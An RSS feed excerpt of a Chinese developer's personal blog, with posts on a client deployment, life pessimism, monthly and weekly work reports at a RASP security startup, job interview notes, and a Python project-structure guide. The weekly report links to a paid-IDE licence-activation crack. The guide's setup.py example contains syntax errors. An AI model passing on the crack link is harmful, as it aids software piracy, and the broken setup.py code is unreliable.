&lt;p&gt;后来吃饭又问了销售这个直接上生产环境的问题，说是最开始一周用了客户官网的测试环境测试了，我说官网基本就是一些静态页面浏览，测试完全覆盖不全面......&lt;/p&gt;
&lt;h2&gt;国企并不令技术人向往&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;技术栈落后，外包多，解决问题慢&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这次接触的业务系统，没有业务日志记录，配了日志记录文件记录但是没有日志记录，显然业务代码没有一个 &lt;code&gt;log.info&lt;/code&gt; 日志输出（不过刚好给了我们打太极的机会）。
处理问题很麻烦，业务部门和安全部门是分开的，第三方厂商干活得两边搞商量。每天工作内容我估计写报告较多吧。&lt;/p&gt;
&lt;h2&gt;总结和展望&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;技术专业能力的提升能更好地解决问题，临危不乱（技术自信）。相比较两年前刚出来实习就和客户打交道来说，这次底气更足一些，遇到问题，能给客户提供排查问题的方案，不过至于说服客户来配合这件事情还不太会。&lt;/li&gt;
&lt;li&gt;最近的工作虽然写了几个安全相关的防御 hook，不过离网安入门距离还很远，希望自己有时间多多接触这块，也方便工作上研究对抗相关的提供更多思路（知己知彼，百战不殆），学习多输入也多输出。&lt;/li&gt;
&lt;li&gt;多站在不同的角度看问题，对于一个技术产品，出现问题，即便技术方能认为自己没有问题，客户也不会这么认为，每个方向解决问题的方法都不同，不要自以为是。&lt;/li&gt;
&lt;li&gt;感觉自己话还是太少了，在外头难免需要和客户和同事打交道，我基本都是很少说话那种。技能树点少了，希望下次多点几个不同的技能，解决问题的能力加强一点。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>我对生活的一点悲观情绪</title><link>https://reajason.eu.org/writing/somepessimisticthoughts/</link><guid isPermaLink="true">https://reajason.eu.org/writing/somepessimisticthoughts/</guid><pubDate>Thu, 06 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;人是会变的，以下所有的想法仅是我目前的想法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;目前的工作目的是学习知识，钱是次要。&lt;/li&gt;
&lt;li&gt;长远以来赚钱的目的是对抗风险。&lt;/li&gt;
&lt;li&gt;我不想买房。&lt;/li&gt;
&lt;li&gt;我想出去赚美元。&lt;/li&gt;
&lt;li&gt;当下不能说的话实在是太多了。&lt;/li&gt;
&lt;li&gt;我暂时没有结婚和生子的想法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;妈，你觉得工作的目的是什么？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;母亲没有回复我，而是又把问题抛给了我，问了我一遍&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我有一个悲观的想法，农村里面，大人拼命赚钱就是为了儿子能讨媳妇，能传宗接代。我问过很多次，我父母从未给过我相关的回答，所以我也只是假想了这种悲观想法。我有一个更好的答案也许是适合他们的。&lt;/p&gt;
&lt;p&gt;我想的还是由于目前我国的社保制度是当下的年轻人养当下的老人，可能到我长大后父母老了，因为人口老龄化，那个时候年轻人更少，父母即便交了很多社保，也没这么多年轻人能交那么多钱来给父母发养老金了，所以现在工作的目的可能是为了能安度晚年 maybe。&lt;/p&gt;
&lt;p&gt;我希望大家多和家人聊聊天，多说说不要工作太辛苦，注意身体健康，多出去耍耍是最好的啦。&lt;/p&gt;
&lt;p&gt;我之前一直比较关注自己的职业规划，所以看了一些关于计算机相关的职业规划视频，目前的工作目的就是积攒经验，能有多少钱还是次要的（毕竟在北京 2k 干了半年，4k 干了一年），以便到财富积累黄金时期，能充分积累财富，最后通过积累的财富做些事情实现财富自由。&lt;/p&gt;
&lt;h2&gt;公积金现在能提 2k 了&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;由住房公积金引出我关于买房的看法。
我不买房，我要狠狠地把公积金提出来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当下就业压力如此大，我不想买个房，背着房贷，如果某天经济又下行，导致生活压力急剧上升而产生空前的压力。
花个百把万在高楼大厦买一个小小的房间总觉得还是没那么香。
我现在似乎有点享受在外漂泊的感觉。体制内安稳的打工生活并不是我向往的，我也永远不会去。&lt;/p&gt;
&lt;h2&gt;我想出去赚美元&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我稍微阐述了一下就业形势严峻的问题，母亲就说我怎么这么没斗志，怎么小小年纪就丧失了斗志之类的，所以我就说了这个话。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;母亲还是希望我能呆在离家近一点的地方。她一直在念叨着“之后会在离家近一点的地方工作吧”。然后又说了”外面不是一直很不平静吗？“，我急忙解释道，政府只会让你们看到他们想让你看到的东西，国内也一直很不平静，“你按你的想法来“。
一瞬间我又想起来了我看的《黑客与画家》&lt;/p&gt;
&lt;h2&gt;当下不能说的话可太多了&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;失业率不能报道了，广大人民的实际生活状况也不能报道了，连《不明白博客》都封了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;每个时代都有每个时代不能说的话，当下的中国特别多，原因我觉得就是当下的政府公信力持续下降，稍微一点风吹草动似乎都对他们的执政有很大的影响。我每天刷推也会看看一些东西，但是我只刷不参与讨论，为什么，因为我也害怕生活增加不可预期的动荡。&lt;/p&gt;
&lt;h2&gt;关于我的妹妹&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我从小就很讨厌我妹妹，第一可能是父母对她过于溺爱，第二我妹妹因我在外婆家那边读书而说了你怎么不回家（指去外婆家），我一直耿耿于怀。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;”不想教育，就不要生下来。“，这是我一直以来对我妹妹降临到这水深火热的世界的想法，母亲来了一句，”现在已经是这样了，怎么办？“。说到这，为妹妹感到挺难受的。偶尔和她聊聊天，她和我说过她遇到过霸凌行为，和班上同学关系也处理不好，以至于初三辍学无法完成学业考试，现在也只能在初中类似的技校读书。&lt;/p&gt;
&lt;p&gt;从小到大，父母基本没有给过我任何指导以及正向的引导，我所被教育的除了听话还是听话，所以我听老师的话，听家长的话，（幸好我遇到了好老师，我也遇到了我的好外婆，一直想给外婆写封信来着，上一份信还是小学有次作文题目是写一封感恩的信，我就写了一封给外婆的信，我外婆一直夹在她的书里面，过年偶尔还会说起来）。因此我看起来就是一个非常听话的小孩，这有一个好处，即便是在很差的学校，我也能得到一点点称赞，这让我有那么一点学习的动力，也因此成功地完成了本科学业（在我们村里同级，就我读了本科，所以高考出成绩父母还请全村人喝了升学酒）。坏处就太多了，我没有主见，我不善于思考，我的思想很容易发生变动，我没有自信等等（我在努力摆脱，现在的办法是看书，了解了解自己）。&lt;/p&gt;
&lt;p&gt;我也还是回答了母亲的问题，我说”我也不知道怎么教育小孩“，所以我目前不想结婚也不想生小孩，她紧接着就问”什么时候会有“，”我也不知道“。&lt;/p&gt;
</content:encoded></item><item><title>月报</title><link>https://reajason.eu.org/writing/202306monthly/</link><guid isPermaLink="true">https://reajason.eu.org/writing/202306monthly/</guid><pubDate>Mon, 19 Jun 2023 23:31:27 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;time does seem to fly by quickly, especially when we&apos;re busy or enjoying ourselves&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Recent Life Status&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;早上六点四十起床做饭（时刻为程序员下岗再就业开饭店做准备），晚上十一点多睡觉 💤（真是美好的作息时间）&lt;/li&gt;
&lt;li&gt;每天通勤四个小时，上班两小时，下班两小时（等搬家就好了，北京房租就是贵啦）-&amp;gt; &lt;a href=&quot;https://twitter.com/ReaJason_/status/1660427494330339328&quot;&gt;Tweet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;周一追《鬼灭之刃》，周二追《跃动青春》，周天看《天国大魔境》《地狱乐》 -&amp;gt; &lt;a href=&quot;https://www.dqsj.top/&quot;&gt;Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;入职一个月来基本没怎么打游戏了（公司发的 MacBook Pro 有点爱不释手了）&lt;/li&gt;
&lt;li&gt;最近听的博客： &lt;a href=&quot;https://www.bumingbai.net&quot;&gt;《不明白博客》一起探寻真理与答案&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Work Fine&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;做了一键发版的网页程序&lt;/li&gt;
&lt;li&gt;为靶场写了 gitlab cd 自动化构建容器镜像&lt;/li&gt;
&lt;li&gt;为靶场提取了 common 库，方便移植到各个框架&lt;/li&gt;
&lt;li&gt;使用 Python 脚本为靶场生成 Postman 测试 API&lt;/li&gt;
&lt;li&gt;写了交付文档靶场测试截图以及攻击流程&lt;/li&gt;
&lt;li&gt;编写常用的反序列化漏洞框架 Hook 点检测&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Learn Well&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;IDEA Remote Debug（远程调试应用程序）&lt;/li&gt;
&lt;li&gt;了解基于 Java Agent 的 &lt;a href=&quot;https://en.wikipedia.org/wiki/Runtime_application_self-protection&quot;&gt;RASP&lt;/a&gt; 解决方案&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arthas.aliyun.com/doc/&quot;&gt;Arthas&lt;/a&gt; 基本使用（查看运行时类信息）&lt;/li&gt;
&lt;li&gt;JNDI 注入，使用 LDAP，RMI 注入危险类&lt;/li&gt;
&lt;li&gt;Socket 连接（nc）&lt;/li&gt;
&lt;li&gt;使用 ysoserial 构造常见的 payload&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Struggle With&lt;/h2&gt;
&lt;p&gt;OSGi 类加载架构下，同接口，不同实现间，因所处类加载器不同导致的 ClassCastException（暂时还没解决）,有时间一定得把类加载器这块狠狠拿下&lt;/p&gt;
&lt;h2&gt;Recent Goals&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 想想办法充分利用一下上下班时间&lt;/li&gt;
&lt;li&gt;[ ] 又有比较长的一段时间没有静下心来看看书了，得看看&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;有大佬的点拨真是一件美事，之前一直纠结于反序列化漏洞攻击防御的实现方案，头头给我详细介绍了目前实现的两种防御手段，一听就懂。最近一直苦于网上的资料不够基础看不懂，头头就给了我一个网上很厉害的大佬博客。&lt;/p&gt;
&lt;p&gt;RASP 一种前沿的应用程序保护方案，基于 Java Agent 能做到无侵入式（运行时挂载和卸载）的保护，市场竞品很少，且基本都处于前期拓荒阶段，因此做完善的话完全是一款有市场竞争力的产品。&lt;/p&gt;
</content:encoded></item><item><title>周报</title><link>https://reajason.eu.org/writing/20230522weekly/</link><guid isPermaLink="true">https://reajason.eu.org/writing/20230522weekly/</guid><pubDate>Sun, 28 May 2023 14:31:27 GMT</pubDate><content:encoded>&lt;h3&gt;又是尴尬的自我介绍&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;自我介绍这块实在是难以拿捏，主要还是社恐，尤其都是大佬有点不自信了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;从 “大家好，我叫 ×××” 到 “大家好，我叫 ×××，×× 年，我的兴趣爱好是折腾电脑，希望大家多多关照。”&lt;/p&gt;
&lt;h3&gt;第一次使用 Mac 电脑&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;发了一台 2022 Mac Pro M2 13&apos;，内存 16G，硬盘 450G，非常不错。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;第一天，下了一些开发工具，当时无脑询问了大佬 IDEA Mac 怎么激活比较好，实则是想问一下公司是否有正版购买激活码，没想到大佬自己购买的订阅，一年一千多，我其实用 Windows 有激活程序，可能还是有很多人不太知道，特此也分享一下链接 &lt;a href=&quot;https://3.jetbra.in/&quot;&gt;🔗&lt;/a&gt;。配置了内网环境（公司基本所有的都是只有内网环境能访问，这样的方案确实能减少网络攻击 —— 直接不连上互联网），最后触摸板确实比 Windows 好用，加上我也没有 Mac 的外设，所有用了一周的裸机，也没显示屏，也没鼠标键盘之类的。&lt;/p&gt;
&lt;h3&gt;布置了第一周的任务&lt;/h3&gt;
&lt;p&gt;第一个是做一个 jar 包版本管理的一键发布的 Web 端小工具。
第一天研究了 Nexus 获取 jar 包的接口以及搭建整个 Spring Boot 应用，第二天写了接口，第三天完成了 Web 页编写，晚上调试发现发布接口不认打包的 zip。第四天换了打包方法就成了，于是研究了一下 Docker 部署 Spring Boot 程序，修复了若干 Bug，整个小工具总共费时四天时间，最后发布上去后，CTO 看到我会写一点 Web 端，所以打算也让我写写靶场的 Web 端测试。（这三天多压力很大，我生怕做不好被开掉的那种压力，好在最后做出来了，瞬间就放松了）。&lt;/p&gt;
&lt;p&gt;第二个任务读源码。
带着问题的方式读源码确实会好很多。该项目主要使用的 Java Agent 对目标应用进行安全漏洞拦截和告警（RASP）。&lt;/p&gt;
&lt;h3&gt;展望&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;第一次使用 Mac 可能需要好好学一下如何加速自己的工作流，很多工具使用得并不是很流畅。（tmux，vscode，idea，git）&lt;/li&gt;
&lt;li&gt;需要看看 ByteBuddy 如何做字节码增强的，这样更好理解 Java Agent。&lt;/li&gt;
&lt;li&gt;学一下 JVM 的原理以及不要忘记操作系统的学习。&lt;/li&gt;
&lt;li&gt;写更多的笔记，做更多的实践。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>记第一次技术面</title><link>https://reajason.eu.org/writing/firsttechnicalinterview/</link><guid isPermaLink="true">https://reajason.eu.org/writing/firsttechnicalinterview/</guid><pubDate>Sun, 14 May 2023 19:41:36 GMT</pubDate><content:encoded>&lt;h2&gt;Lucky&lt;/h2&gt;
&lt;p&gt;这是一家做网络安全方向的创业公司，面试机会来源于我在小红书发的一个当前工资太低的吐槽文章，捞我的是公司的研发负责人也是二面的面试官之一（真的非常感谢给我一个机会🥰）。一面的时间是 2023-04-27，二面的时间是 2023-05-11（一面结束，我以为没机会了，因为问了分布式锁还有微服务相关的，我都说不知道）。&lt;/p&gt;
&lt;h2&gt;二面&lt;/h2&gt;
&lt;p&gt;二面技术面主要是两个大佬，一个捞我的研发负责人 A，另一个经询问是湖南湘潭的 B，因为 A 临时有事再加上时间紧张，先由 B 面试官对我进行面试。&lt;/p&gt;
&lt;p&gt;开篇自我介绍，我主要介绍了我自学编程的经历，以及工作之余看的计算机相关书籍如代码整洁之道，代码大全，重构等，最后着重讲了所做的两个 GitHub 项目，一个是完美校园打卡（使用 XP Hook，安卓逆向等工具，用 Python 构建自动化打卡流程），另一个是个人博客项目。针对我的自我介绍，B 面试官主要问了以下问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在做 XP Hook 时有没有遇到比较棘手的问题，以及怎么解决的？
&lt;ul&gt;
&lt;li&gt;XP API 在构建项目时不能直接打包进 APK，否则无法正常安装&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;当发现 App 有壳的时候是如何查看到源码的？
&lt;ul&gt;
&lt;li&gt;通过 App 历史版本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有没有使用过什么反混淆工具？
&lt;ul&gt;
&lt;li&gt;只是用过 jadx（这只是反编译工具）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平常是如何翻墙的，ChatGPT 是如何注册的？
&lt;ul&gt;
&lt;li&gt;使用 v2ray，通过 sms-activate 接码平台&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;浏览器输入链接发生了什么，详细说说其中的东西？
&lt;ul&gt;
&lt;li&gt;这一块答得很不好，脑子里面有很多东西还是没能串起来&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;追问了 DNS 根域名服务器如果当前没有保存二级域名，整个查询链路是如何产生的？
&lt;ul&gt;
&lt;li&gt;递归/迭代查询，询问其他域名服务器是否知道当前域名（面试官提示了 NS）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;浏览器得到 IP 地址后是如何建立链接的？
&lt;ul&gt;
&lt;li&gt;TCP 握手，然后就那三次&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;面试了一会儿，A 面试官到了，于是就由两个面试官一起提问。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当时正好在说网络相关的知识，面试官 A 就先就此问了一个简单的问题，TCP 和 IP 分别属于哪一层，HTTP 是哪一层&lt;/li&gt;
&lt;li&gt;面试官 B 结束了这个话题，问到有没有了解 JavaAgent 技术？
&lt;ul&gt;
&lt;li&gt;了解了一下是通过字节码增强技术，通过程序启动前指定 --javaagent:jar 来实现 aop 似的拦截指定方法以及类的技术&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;如果要你设计 AOP 你会如何设计用户层面 API？
&lt;ul&gt;
&lt;li&gt;我说了 SpringAOP 的接口，@PointCut，@Before，@After， @Around，以及 BeanPostProcessor，将 bean 进行织入实现 AOP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;OA 项目平常有没有遇到什么漏洞以及是怎么处理的？
&lt;ul&gt;
&lt;li&gt;后来沟通得知，我做的只是内部系统，没接触到这个&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平时学习是上班的时候学习还是上班之余学习？
&lt;ul&gt;
&lt;li&gt;上班之余，上班的时候会先把安排的任务完成&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;技术方面有什么打算？
&lt;ul&gt;
&lt;li&gt;这个问题对于现阶段的我来说太难了，我只说了现阶段希望加入一个更好的团队（回答不是很令人满意），我又说希望之后做一款自己的产品，然后巴啦巴啦了一些项目管理相关的东西&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;面试结束我问了如下两个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;平时工作历程，有没有 Code Review？
&lt;ul&gt;
&lt;li&gt;有，不过还是被教育了 Code Review 不是必需的，且有时候会浪费 Reviewer 的时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;公司有没有电脑分配？
&lt;ul&gt;
&lt;li&gt;Mac 和 Windows 都有，建议 Mac&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;三面&lt;/h2&gt;
&lt;p&gt;二面结束紧接着就是三面，我二面面完，已经面红耳赤了，一个人在会议室走来走去，然后深呼吸，过了一会儿公司老板和 HR 就进来了。&lt;/p&gt;
&lt;p&gt;我又开始自我介绍，本来想直接用二面的个人介绍，不过由于太过紧张（第一次公司老板面试），说到一半哑巴了，说不出来了（也有可能是太渴了，二面接近一个多小时没喝水）。老板主要问了我如下问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;讲一讲博客系统为什么使用 Redis？
&lt;ul&gt;
&lt;li&gt;JWT token，通过 Redis 强制 JWT 失效（后来才知道应该说查询缓存）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;操作系统怎么学的，以及学了哪些知识？
&lt;ul&gt;
&lt;li&gt;看的书是 &lt;strong&gt;Operating Systems: Three Easy Pieces&lt;/strong&gt;，主要讲了虚拟化，并发以及持久化。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;死锁是如何产生的？
&lt;ul&gt;
&lt;li&gt;给自己挖坑，死锁产生有四个条件，我只回答了两个出来&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;HR 问了我如下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实习公司在哪里，为什么离职？
&lt;ul&gt;
&lt;li&gt;在医院外包，平时任务偏运维无法学到知识&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;为什么从现在这家公司离职？
&lt;ul&gt;
&lt;li&gt;工作中组长没做我们的项目，也没有 Code Review，难以从大佬那儿学到东西&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;现在薪资，多少薪，介不介意加班，期望薪资？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;面试结束，问 HR 要了一瓶水，嘎嘎猛喝溜了。&lt;/p&gt;
</content:encoded></item><item><title>Structuring Your Python Project</title><link>https://reajason.eu.org/writing/pythonprojectstructure/</link><guid isPermaLink="true">https://reajason.eu.org/writing/pythonprojectstructure/</guid><pubDate>Tue, 04 Apr 2023 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;By “structure” we mean the decisions you make concerning how your project best meets its objective. We need to consider how to best leverage Python’s features to create clean, effective code. In practical terms, “structure” means making clean code whose logic and dependencies are clear as well as how the files and folders are organized in the filesystem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Structure of the Repository&lt;/h2&gt;
&lt;h3&gt;First Look&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;├──CHANGELOG.md
├──docs
├──LICENSE
├──Makefile
├──README.md
├──requirements.txt
├──setup.py
├──tests
│  ├──__init__.py
│  └──test_xhs.py
└──sample
   ├──__init__.py
   ├──core.py
   └──help.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My first practice project, &lt;a href=&quot;https://github.com/ReaJason/xhs&quot;&gt;xhs&lt;/a&gt;, is available on GitHub.&lt;/p&gt;
&lt;h3&gt;CHANGELOG.md&lt;/h3&gt;
&lt;p&gt;To keep track of changes made to software over time, a changelog is a file that contains a chronologically ordered list of significant updates for each version. For guidance on how to maintain a changelog within your repository, refer to this &lt;a href=&quot;https://keepachangelog.com/en/1.1.0/&quot;&gt;guide&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [Unreleased]

## [1.1.1] - 2023-03-05

### Added

- Arabic translation (#444).

### Fixed

- Improve French translation (#377).

### Changed

- Upgrade dependencies: Ruby 3.2.1, Middleman, etc.

### Removed

- Unused normalize.css file
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;docs&lt;/h3&gt;
&lt;p&gt;The package reference documentation is located here. To generate and maintain the documentation, you can use the &lt;a href=&quot;https://www.sphinx-doc.org/en/master/&quot;&gt;Sphinx&lt;/a&gt; documentation tool.&lt;/p&gt;
&lt;p&gt;To use Sphinx to generate and maintain documentation, start by installing it from PyPI using the following command: &lt;code&gt;pip install -U sphinx&lt;/code&gt;. Then, navigate to the &lt;code&gt;docs&lt;/code&gt; directory and run &lt;code&gt;sphinx-quickstart&lt;/code&gt; to set up the project.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install -U sphinx
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cd docs
sphinx-quickstart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have set up the Sphinx project, you can generate the documentation by running the &lt;code&gt;make html&lt;/code&gt; command. This will create an HTML version of the documentation that you can then distribute to your users.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LICENSE&lt;/h3&gt;
&lt;p&gt;This is arguably the most important part of your repository, aside from the source code itself. The full license text and copyright claims should exist in this file. If you aren’t sure which license you should use for your project, check out &lt;a href=&quot;http://choosealicense.com/&quot;&gt;choosealicense.com&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Makefile&lt;/h3&gt;
&lt;p&gt;make is an incredibly useful tool for defining generic tasks for your project. You deserve it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.PHONY: docs
init:
		pip install -r requirements.txt
ci:
		pytest tests --junitxml=report.xml
test:
		tox -p
upload:
		python setup.py sdist bdist_wheel
		twine upload dist/*
		rm -fr build dist .egg xhs.egg-info
docs:
		cd docs &amp;amp;&amp;amp; make html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As an example, if you were to run the command &lt;code&gt;make init&lt;/code&gt;, it would effectively run the command &lt;code&gt;pip install -r requirements.txt&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;README.md&lt;/h3&gt;
&lt;p&gt;Your project&apos;s README.md file serves as an introduction to your work and should include essential information such as the title, description, usage instructions, and licensing information.&lt;/p&gt;
&lt;h3&gt;requirements.txt&lt;/h3&gt;
&lt;p&gt;It should specify the dependencies required to contribute to the project: testing, building, and generating documentation.&lt;/p&gt;
&lt;h3&gt;setup.py&lt;/h3&gt;
&lt;p&gt;the package and distribution management. to build your project run command &lt;code&gt;python setup.py sdist bdist_wheel  &lt;/code&gt;, then it will build wheel file and source file in &lt;code&gt;./dist&lt;/code&gt; directory. there is a &lt;code&gt;setup.py&lt;/code&gt; example&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from setuptools import setup

with open(&quot;README.md&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    readme = f.read()


setup(
    name=&quot;your_package_name&quot;,
    version=&quot;version&quot;,
    description=&quot;description&quot;,
    long_description=readme,
    long_description_content_type=&quot;text/markdown&quot;,
    author=&quot;author&quot;,
    author_email=&quot;author_email&quot;],
    url=about&quot;url&quot;,
    license=about&quot;license&quot;,
    packages=[&quot;your_package_name&quot;],
    install_requires=[&quot;require1&quot;, &quot;require2&quot;],
    keywords=&quot;keyword1 keyword2&quot;,
    include_package_data=True,
    zip_safe=False,
    python_requires=&quot;&amp;gt;=3.7&quot;,
    classifiers=[
        &quot;Development Status :: 3 - Alpha&quot;,
        &quot;Intended Audience :: Developers&quot;,
        &quot;License :: OSI Approved :: MIT License&quot;,
        &quot;Programming Language :: Python&quot;,
        &quot;Programming Language :: Python :: 3&quot;,
        &quot;Programming Language :: Python :: 3.7&quot;,
        &quot;Programming Language :: Python :: 3.8&quot;,
        &quot;Programming Language :: Python :: 3.9&quot;,
        &quot;Programming Language :: Python :: 3.10&quot;,
        &quot;Programming Language :: Python :: 3.11&quot;,
        &quot;Programming Language :: Python :: 3 :: Only&quot;,
        &quot;Topic :: Software Development :: Libraries :: Python Modules&quot;,
    ],
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;tests&lt;/h3&gt;
&lt;p&gt;To use &lt;code&gt;pytest&lt;/code&gt; to run all of your test files, you can simply execute the command &lt;code&gt;pytest tests&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;sample&lt;/h3&gt;
&lt;p&gt;Depending on the size of your project, your application package may be as simple as a single file, such as &lt;code&gt;sample.py&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;reference project&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/psf/requests&quot;&gt;requests&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gleitz/howdoi&quot;&gt;Howdoi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Automate projects with GitHub actions&lt;/h2&gt;
&lt;h3&gt;auto test:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/test.yml

name: Tests

on: [push, pull_request]

permissions:
  contents: read

jobs:
  build:
    runs-on: ${{ matrix.os }}
    timeout-minutes: 10
    strategy:
      fail-fast: false
      matrix:
        python-version: [&quot;3.7&quot;, &quot;3.8&quot;, &quot;3.9&quot;, &quot;3.10&quot;, &quot;3.11&quot;]
        os: [ubuntu-20.04, macOS-latest, windows-latest]
        include:
          - python-version: pypy-3.7
            os: ubuntu-latest
            experimental: false

    steps:
      - uses: actions/checkout@v2
      - name: Set up Python ${{ matrix.python-version }}
        uses: actions/setup-python@v2
        with:
          python-version: ${{ matrix.python-version }}
      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          make init
      - name: Run tests
        run: |
          make ci
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;auto build doc&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/doc.yml

name: Sphinx Doc

on:
  push:
    branches: [master, docs]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Build HTML
        uses: ammaraskar/sphinx-action@master
      - name: Upload artifacts
        uses: actions/upload-artifact@v3
        with:
          name: html-docs
          path: docs/_build/html/
      - name: Deploy
        uses: peaceiris/actions-gh-pages@v3
        with:
          personal_token: ${{ secrets.PERSONAL_TOKEN }}
          publish_dir: docs/_build/html

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;auto upload PyPI&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/pypi.yml
name: PyPI

on:
  push:
    branches:
      - master

permissions:
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    if: github.event_name == &apos;push&apos; &amp;amp;&amp;amp; startsWith(github.ref, &apos;refs/tags&apos;)
    steps:
      - uses: actions/checkout@v3
      - name: Set up Python
        uses: actions/setup-python@v3
        with:
          python-version: &quot;3.x&quot;
      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          make
          pip install build
      - name: Build package
        run: python -m build
      - name: pypi-publish
        uses: pypa/gh-action-pypi-publish@v1.8.5
        with:
          user: __token__
          password: ${{ secrets.PYPI_API_TOKEN }}
&lt;/code&gt;&lt;/pre&gt;
